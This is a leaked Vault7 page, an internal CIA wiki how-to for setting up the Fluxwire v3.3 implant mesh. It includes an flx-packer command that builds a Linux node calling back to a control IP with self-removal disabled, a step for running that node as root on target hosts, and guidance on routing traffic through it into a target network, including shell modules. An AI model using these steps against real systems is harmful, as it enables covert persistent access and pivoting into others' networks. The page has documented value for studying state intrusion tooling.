Vault7: CIA Hacking Tools Revealed
Navigation: » Directory » Network Devices Branch (NDB) » Network Devices Branch » How-to articles
Owner: User #14587612
Setup Fluxwire v3.3
When setting up a test, verify with the operator how they intend to throw a tool and/or exploit. Most of the time this is via fluxwire. Flux can introduce odd network behavior so it's good to verify tool behavior with it.
The installed components are:
- flx-desktop: the Control instance. Listens for incoming Node connections and flx-gui instances
- flx-gui: the interface to the Control instance that allows you to manage all the nodes on the mesh network. Mutliple flx-gui instances can connect to a single flx-desktop
- flx-packer: cmd line utility to create a Node to run on a host. Use flx-packer -s ? to get a list of supported target architectures for Nodes
- flx-manager: manages the installed instances of fluxwire.
Install and Configure v3.3
As of 2015-05-12, this is the version COGComputer Operations Group uses on ICON (Debian VMs). Legacy ICON machines are Ubuntu 12.04, and they use Flux v3.2.1, which uses a different install process.
- From Devlan share, get flx_v3.3.0.zip
- On the ICON Linux VM, unzip the files: unzip flx_v3.3.0.zip
- cd BIN/Unclassified_FOUO/Fluxwire_Binaries/3.3.0
- sudo python install.py
- cp BIN/Unclassified_FOUO/Fluxwire_Binaries/3.3.0/confs/linux-fluxwire.conf <test directory>
- Open linux-fluxwire.conf in a text editor and make the following changes:
- Under "desktop" -> "clients", change the port to whatever you want the desktop instance to listen on for connections from the flx-gui
- Under "device" -> "stacks":
- Change the mtu to match the value used by the operator.
- Change the key if desired. You will supply this value to the Nodes when using flx-packer.
- Change the ports used if desired. This will be the ports that flx-desktop will listen on for incoming connections from Nodes
- Save the file
-
May be needed: The python install script did not copy the required libraries correctly when I installed it.
- On Debian, you get the error "libconfig.so.9.1.3 too short". To fix this, perform the following:
-
cp BIN/Unclassified_FOUO/Fluxwire_Binaries/3.3.0/deps/libconfig.so.9.1.3 /usr/lib/libconfig.so.9.1.3
- Setup symlinks if needed
-
cp BIN/Unclassified_FOUO/Fluxwire_Binaries/3.3.0/deps/libconfig.so.9.1.3 /usr/lib/libconfig.so.9.1.3
-
When using Ubuntu, you may receive others errors. Below are the fixes for each error.
- Error:
-
To fix the above error, perform the following:
- sudo rm /usr/lib/libprotobuf-c.so.0
- sudo ln -s /usr/lib/libprotobuf-c.so.0.0.0 /usr/lib/libprotobuf-c.so.0
- Error:
-
To fix the above error, perform the following:
- sudo rm libconfig.so.9
- sudo ln -s /usr/lib/libconfig.so.9.1.3 /usr/lib/libconfig.so.9
- Error:
- On Debian, you get the error "libconfig.so.9.1.3 too short". To fix this, perform the following:
- Start the Control instance: sudo flx-desktop linux-fluxwire.conf
-
Using flx-packer, create the Nodes required for your op. For example, the following command will create a Linux x64 node that will call back to 10.9.9.120:443 with an mtu of 1250 bytes and will never timeout or autoremove itself.
- flx-packer -s linux:x64 -o linux-node -k aaaaaaaaaaaaaaaa --link "ip4=10.9.9.120 tcp=443 watchdog=0:0" -m 1250
- See flx-packer --help for more information on the arguments.
- flx-packer -s linux:x64 -o linux-node -k aaaaaaaaaaaaaaaa --link "ip4=10.9.9.120 tcp=443 watchdog=0:0" -m 1250
-
Run your Node(s) from step 9 on the flux target hosts
- Copy linux-node file to Target Flux VM
- As root, run ./linux-node
-
On the ICON VMVirtual Machine - Open the GUI: flx-gui
- Supply the port from step 6a and the key from step 6b
- Click the Connect button to connect to the Control instance
- You should see your Node(s) connected to the mesh in the Network window.
- Right-click a node and select Transport -> Gateway
-
Add routes so that traffic destined from your ICON VMVirtual Machine to the target network will be routed through the correct Node.
- The default gateway for the routes will be 192.168.88.2
- You should now be able to send traffic (e.g. IACInternational Access Code) routed through the flux mesh network to the target network
- Flux does not work with ICMPInternet Control Message Protocol traffic; do not use ping to verify flux connectivity
- You may also need to setup Bridges in the Transport window, depending on your requirements. Bridges allow you to do port forwarding from a Node back to your ICON workstation. Refer to the flux documentation for more info.
-
TFTP and Flux
- TFTP clients connect to servers listening on port 69, and the server will reply with data using a randomly chosen ephemeral port as the src port. This confuses flux, as it expects the server to reply from port 69
- To workaround this, run the TFTPFile transfer software server with a pre-defined port range. For example, if you use tftpd-hpa, edit /etc/default/tftpd-hpa: TFTP_OPTIONS="--secure --port-range 2000:2005". Restart tftpd-hpa.
- Setup Bridges to forward UDPUser Datagram Protocol traffic on these ports back to your ICON VM. Don't forget a bridge for traffic from UDPUser Datagram Protocol 69, otherwise your server will never see the initial TFTPFile transfer software Read packet from the client
-
FTP and Flux
- Similar to TFTP, FTPFile Transfer Protocol needs configured to work with flux
- /etc/vsftpd.conf
- pasv_enable=Yes
- pasv_min_port=10000 (anything > 1024)
- pasv_max_port=10010 (anything > 1024)
- service vsftpd restart
- Setup bridge for 21 tcp back to your ICON VM
- May need to do additional bridges for 10000 - 10010 back to ICON VM
- There are a number of modules you can load on the target Node (e.g. shell). You can configure these by righ-click on the node in the Network window: Device -> Configure, then select the green moudules icon.
Related articles
('contentbylabel' missing)
('details' missing)